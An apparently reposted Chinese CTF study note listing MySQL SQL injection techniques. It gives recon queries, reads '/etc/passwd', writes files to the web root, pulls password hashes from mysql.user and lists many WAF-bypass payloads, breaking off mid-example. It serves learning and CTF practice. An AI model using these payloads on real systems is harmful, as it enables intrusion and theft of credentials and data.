CTF考点总结 您所在的位置:网站首页 sql注入语句总结 CTF考点总结

CTF考点总结

2023-12-16 17:55| 来源: 网络整理| 查看: 265

整理下sql相关知识,查漏补缺(长期更新)

常用语句及知识

information_schema包含了大量有用的信息,例如下图

mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码

当前用户:select user() 数据库版本:select version() , select @@version 数据库名:select database() 操作系统:select @@version_compile_os 所有变量:show variables 单个变量:select @@secure_file_priv , show variables like 'secure_file_%' 爆字段数:order by 1... ,group by 1... 查库名:select group_concat(schema_name) from information_schema.schemata 查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名' 查字段:select group_concat(column_name) from information_schema.columns where table_name='表名' 读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0) 读文件:select load_file('/etc/passwd') 写文件:select '' into outfile '/var/www/html/a.php' //该处文件名无法使用16进制绕过 常用函数 截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1) 字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c') 多行拼接:group_concat //eg: select group_concat(user) from mysql.user 时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等 编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换) 布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...

所有函数及运算符:https://dev.mysql.com/doc/refman/5.7/en/functions.html

绕过方法 绕过空格 %20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)

其中%09需要php环境,%0a为\n

/!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1

绕过单引号 \转义、宽字节%df%27,%bf%27、十六进制绕过 注释方法 /**/、--+、#、;%00、union /*!select*/(mysql独有) select from union select绕过 select-1,user from mysql.user select@1,user from mysql.user select~1,user from mysql.user select`user`,user from mysql.user select(1),user from mysql.user select'1',user from mysql.user select+1,user from mysql.user select 1,1e2from mysql.user select 1,.9from mysql.user select 1``from mysql.user select 1''from mysql.user select 1'123'from mysql.user select '1'''from mysql.user select 1""from mysql.user select "1"""from mysql.user select 1 from mysql.user where user=.1union select 1 select 1 from mysql.user where user=1e1union select 1 select 1 union--%0aselect 2 select 1 union--%0e%0aselect 2 select 1 union all select 2 set绕过 select '123' into @a select @a:='123' select 1 from mysql.user where @a:='123' do @a:='123' .绕过(点绕过)//select,from等关键字绕过都可以使用 select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user' set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a; information_schema绕过: select table_name from mysql.innodb_index_stats 表名 select database_name from mysql.innodb_index_stats 库名 select table_name from mysql.innodb_table_stats 表名 select database_name from mysql.innodb_table_stats 库名

聊一聊bypass information_schema,https://www.anquanke.com/post/id/193512

逗号绕过 select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf) select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x) 奇技淫巧 按注入方法分类

数值型注入、字符型注入、二次注入、宽字节注入、堆叠注入...

按语句分类

select注入、update注入、insert注入、order注入、desc注入...

按注入效果分类

回显注入、布尔注入、时间注入、报错注入...

无字段名,同表注入

(1)别名,子查询

select t.2 from (select 1,2,3 union SELECT * from ctf.user)t LIMIT 1,1

(2)堆叠

select * from ctf.user limit 0,1 into @a,@b,@c;select @a,@b,@c order by排序注入

首先假设有这样一张表

有以下代码



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有